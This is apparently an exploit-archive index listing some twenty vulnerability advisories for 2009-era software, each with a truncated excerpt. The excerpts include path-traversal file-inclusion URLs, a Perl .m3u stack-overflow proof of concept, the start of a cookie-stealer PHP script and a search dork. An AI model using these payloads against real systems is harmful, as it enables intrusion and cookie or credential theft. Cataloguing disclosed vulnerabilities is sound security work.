ChinaGames - 'CGAgent.dll' ActiveX Remote Code Execution

ChinaGames CGAgent.dll ActiveX Remote Code Execution Exploit Exploit made by etirah Download: www.chinagames.com Problem DLL : CGAgent.dll Problem Func : CreateChinagamesparam1 Problem Param : param1 References: 1. http://bbs.pediy.com/showthread.php?t=87615 2. http://www.milw0rm.com/exploits/857...

Exjune Officer Message System 1 - Multiple Vulnerabilities

@=======================================@ ====C4TEAM.ORG====ByALBAYX====C4TEAM.ORG===== @=======================================@ @=Author : ByALBAYX @=Website : WWW.C4TEAM.ORG @===============TURKISH=================@ @=======================================@ @=Script : exJune Office Message...

PAD Site Scripts 3.6 - Insecure Cookie Handling

PAD Site Scripts 3.6 - Insecure Cookie Handling ======================================================= +++++++++++++++++++ information +++++++++++++++++++++++ ======================================================= + Script :PAD Site Scripts v3.6 Insecure Cookie Handling Vulnerability + Found by...

MaxCMS 2.0 - incajax.asp SQL Injection

MaxCMS 2.0 - incajax.asp SQL Injection Securitylab.ir Application Info: Name: Maxcms Version: 2.0 Discoverd By: Securitylab.ir Website: http://securitylab.ir Contacts: adminatsecuritylab.ir & info@securitylabdotir Vulnerability Info: Type: Sql Injection Risk: Medium...

MRCGIGUY Top Sites 1.0.0 Insecure Cookie Handling Vuln

No description provided by source. --------------------------------------------------------------- --------------------------------------------------------------- MRCGIGUY Top Sites1.0.0 Insecure Cookie Handling --------------------------------------------------------------- Founder :ThE g0bL!N...

Realty Web-Base 1.0 - Authentication Bypass

--------------------------------------------------------------- ------------------------------------------------------------ Realty Web-Base v1.0 Auth bypass SQL Injection Vulnerability --------------------------------------------------------------- Founder : ThE g0bL!N Home:WwW.h4ckF0u.CoM...

TCPDB 3.8 - Arbitrary Add Admin Account

======================================================= +++++++++++++++++++ information +++++++++++++++++++++++ ======================================================= + Script :TCPDB version 3.8 Add Admin Exploit + Download : http://www.tcpdb.com/modules.php?name=Downloads&dop=viewdownload&cid=2...

LinkBase 2.0 Remote Cookie Grabber Vulnerability

No description provided by source. + Download LinkBase 2.0 Cookie Grabber Exploit + Discovered By SirGod + www.mortal-team.net + www.h4cky0u.org + Greetz : All my friends + Make 2 files and upload to your host : stealer.php - Put the following code into the file : ?php $cookie = $GET'cookie'; $lo...

pecio CMS 1.1.5 - index.php?language Local File Inclusion

pecio CMS 1.1.5 - index.php?language Local File Inclusion + pecio cms 1.1.5 index.php language Local File Inclusion Vulnerability + Discovered By SirGod + www.mortal-team.net + www.h4cky0u.org + Local File Inclusion PoC :...

Mercury Audio Player 1.21 - .m3u Local Stack Overflow (PoC)

Mercury Audio Player 1.21 - .m3u Local Stack Overflow PoC Mercury Audio Player 1.21 .M3U File Local Stack Overflow PoC Discovered by SirGod - www.mortal-team.net my $chars= "A" x 1104; my $file="sirgod.m3u"; openmy $FILE, "$file" or die "Cannot open $file: $!"; print $FILE $chars; close$FILE; pri...

Thickbox Gallery 2 - index.php Local File Inclusion

Thickbox Gallery 2 - index.php Local File Inclusion + Thickbox Gallery v2 Local File Inclusion Vulnerability + Discovered By SirGod + www.mortal-team.net + www.h4cky0u.org + Local File Inclusion PoC : http://127.0.0.1/path/index.php?ln=../../../../../../BOOTSECT.BAK%00 milw0rm.com 2009-04-27...

ABC Advertise 1.0 - Admin Password Disclosure

ABC Advertise 1.0 - Admin Password Disclosure homepage : http://www.zakkis.ca./index.php?p=39 + ABC Advertise 1.0 Admin Data Disclosure + Discovered By SirGod + www.mortal-team.net + www.h4cky0u.org + Admin Data Disclosure - Go to http://127.0.0.1/path/admin.inc.php - You will find there the admi...

Flatchat 3.0 - 'pmscript.php' Local File Inclusion

Flatchat 3.0 pmscript.php with Local File Inclusion Vulnerability + Discovered By SirGod + www.mortal-team.net + www.h4cky0u.org + Homepage : http://ninjadesigns.co.uk/ + Local File Inclusion - Vulnerable code in pmscript.php -------------------------------------------- $filename =...

ABC Advertise 1.0 - Admin Password Disclosure

homepage : http://www.zakkis.ca./index.php?p=39 + ABC Advertise 1.0 Admin Data Disclosure + Discovered By SirGod + www.mortal-team.net + www.h4cky0u.org + Admin Data Disclosure - Go to http://127.0.0.1/path/admin.inc.php - You will find there the admin username and password. Example : login=admin...

Quick.Cms.Lite 0.5 (id) Remote SQL Injection Vulnerability

No description provided by source. +-------------------------------------+ + Homepage: http://opensolution.org/ + Product: Quick.CMS Lite 0.5 + File: index.php + Parameter: id + Dork: "Powered by Quick.Cms" +-------------------------------------+ + SQL Injection: +...

TotalCalendar 2.4 - 'Include' Local File Inclusion

TotalCalendar 2.4 include Local File Inclusion + Discovered By SirGod + www.mortal-team.org + www.h4cky0u.org + Local File Inclusion Vulnerable code in cmsdetect.php: ------------------------------------------------------------------------------- Line 26 : $include = isset$REQUEST'include' ?...

Online Password Manager 4.1 - Insecure Cookie Handling

Online Password Manager v4.1 Insecure Cookie Handling Vulnerability ---------------------------------------------------------- Discovered By: ZoRLu Date: 15.04.2009 Home: yildirimordulari.com / dafgamers.com / z0rlu.blogspot.com contact: [email protected] N0T: Herkes Hecker Olmus :S yav siktir...

GuestCal 2.1 (index.php lang) Local File Inclusion Vulnerability

No description provided by source. + GuestCal 2.1 index.php lang Local File Inclusion Vulnerability + Discovered By SirGod + www.mortal-team.org + www.h4cky0u.org + Download script : http://guestcal.com/de/download + Local File Inclusion - PoC :...

GuestCal 2.1 - index.php?lang Local File Inclusion

GuestCal 2.1 - index.php?lang Local File Inclusion + GuestCal 2.1 index.php lang Local File Inclusion Vulnerability + Discovered By SirGod + www.mortal-team.org + www.h4cky0u.org + Download script : http://guestcal.com/de/download + Local File Inclusion - PoC :...

GuestCal 2.1 - 'index.php?lang' Local File Inclusion

GuestCal 2.1 index.php lang Local File Inclusion Vulnerability + Discovered By SirGod + www.mortal-team.org + www.h4cky0u.org + Download script : http://guestcal.com/de/download + Local File Inclusion - PoC : http://127.0.0.1/index.php?year=2009&object=1&lang=../../../../../BOOTSECT.BAK%00...